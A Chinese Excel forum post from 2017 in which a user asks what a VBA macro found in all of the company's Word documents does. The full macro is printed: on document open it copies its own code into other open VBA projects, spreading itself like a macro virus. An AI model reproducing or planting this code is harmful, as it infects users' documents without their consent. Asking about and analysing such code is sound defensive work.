ExcelHome技术论坛

 找回密码
 免费注册

QQ登录

只需一步,快速开始

快捷登录

搜索
EH技术汇-专业的职场技能充电站 妙哉!函数段子手趣味讲函数 Excel服务器-会Excel,做管理系统 Excel Home精品图文教程库
HR薪酬管理数字化实战 Excel 2021函数公式学习大典 Excel数据透视表实战秘技 打造核心竞争力的职场宝典
300集Office 2010微视频教程 数据工作者的案头书 免费直播课集锦 ExcelHome出品 - VBA代码宝免费下载
用ChatGPT与VBA一键搞定Excel WPS表格从入门到精通 Excel VBA经典代码实践指南
查看: 1031|回复: 0

求分析莫名的VBA代码用途

[复制链接]

TA的精华主题

TA的得分主题

发表于 2017-6-19 16:48 | 显示全部楼层 |阅读模式
大家能帮我看看这个VBA代码是干什么用的,现在我公司每个word文档里面都带有这么一段代码。






  1. Private Sub Document_Open()
  2. Dim MACROTEXT As String
  3. 'Dim AA As VBComponent
  4. For I = 1 To VBE.VBProjects.Count
  5. On Error GoTo 11
  6. P = VBE.VBProjects(I).FileName
  7. B = Mid(ThisDocument.Name, 1, InStr(1, ThisDocument.Name, ".") - 1)
  8. A = VBE.VBProjects(I).VBComponents(1).CodeModule.Parent.Name

  9. R = InStrRev(P, "")
  10. S = IIf(InStr(1, P, ".") > 0, Len(P) - InStr(1, P, ".") + 1, 0)
  11. Set AA = VBE.VBProjects(I).VBComponents(1)
  12. LOCALLINES = AA.CodeModule.CountOfLines
  13. MACROTEXT = AA.CodeModule.Lines(1, AA.CodeModule.CountOfLines)
  14. Exit For


  15. 11: Err.Clear
  16. Next I

  17. For I = 1 To VBE.VBProjects.Count
  18. B = Mid(ThisDocument.Name, 1, InStr(1, ThisDocument.Name, ".") - 1)
  19. A = VBE.VBProjects(I).VBComponents(1).CodeModule.Parent.Name
  20. On Error GoTo 12
  21. P = VBE.VBProjects(I).Name
  22. R = InStrRev(P, "")
  23. S = IIf(InStr(1, P, ".") > 0, Len(P) - InStr(1, P, ".") + 1, 0)
  24. C = Mid(P, R + 1, Len(P) - R - S)
  25. 12:
  26. If B <> C And LOCALLINES > VBE.VBProjects(I).VBComponents(1).CodeModule.CountOfLines Then
  27. Err.Clear
  28. Set AA = VBE.VBProjects(I).VBComponents(1)
  29. AA.CodeModule.AddFromString (MACROTEXT)
  30.   
  31. End If
  32. Next I

  33. End Sub

  34. Private Sub Document_Open1()
  35. Dim MACROTEXT As String
  36. 'Dim AA As VBComponent
  37. For I = 1 To VBE.VBProjects.Count
  38. On Error GoTo 11
  39. P = VBE.VBProjects(I).FileName
  40. B = Mid(ThisDocument.Name, 1, InStr(1, ThisDocument.Name, ".") - 1)
  41. A = VBE.VBProjects(I).VBComponents(1).CodeModule.Parent.Name

  42. R = InStrRev(P, "")
  43. S = IIf(InStr(1, P, ".") > 0, Len(P) - InStr(1, P, ".") + 1, 0)
  44. C = Mid(P, R + 1, Len(P) - R - S)
  45. If B = C Then
  46. Set AA = VBE.VBProjects(I).VBComponents(1)
  47. LOCALLINES = AA.CodeModule.CountOfLines
  48. MACROTEXT = AA.CodeModule.Lines(1, AA.CodeModule.CountOfLines)
  49. Exit For
  50. End If

  51. 11: Err.Clear
  52. Next I

  53. For I = 1 To VBE.VBProjects.Count
  54. B = Mid(ThisDocument.Name, 1, InStr(1, ThisDocument.Name, ".") - 1)
  55. A = VBE.VBProjects(I).VBComponents(1).CodeModule.Parent.Name
  56. On Error GoTo 12
  57. P = VBE.VBProjects(I).Name
  58. R = InStrRev(P, "")
  59. S = IIf(InStr(1, P, ".") > 0, Len(P) - InStr(1, P, ".") + 1, 0)
  60. C = Mid(P, R + 1, Len(P) - R - S)
  61. 12:
  62. If B <> C And LOCALLINES > VBE.VBProjects(I).VBComponents(1).CodeModule.CountOfLines Then
  63. Err.Clear
  64. Set AA = VBE.VBProjects(I).VBComponents(1)
  65. AA.CodeModule.AddFromString (MACROTEXT)
  66.   
  67. End If
  68. Next I

  69. End Sub
复制代码


您需要登录后才可以回帖 登录 | 免费注册

本版积分规则

关闭

最新热点上一条 /1 下一条

手机版|关于我们|联系我们|ExcelHome

GMT+8, 2024-4-24 13:38 , Processed in 0.034418 second(s), 10 queries , Gzip On, MemCache On.

Powered by Discuz! X3.4

© 1999-2023 Wooffice Inc.

沪公网安备 31011702000001号 沪ICP备11019229号-2

本论坛言论纯属发表者个人意见,任何违反国家相关法律的言论,本站将协助国家相关部门追究发言者责任!     本站特聘法律顾问:李志群律师

快速回复 返回顶部 返回列表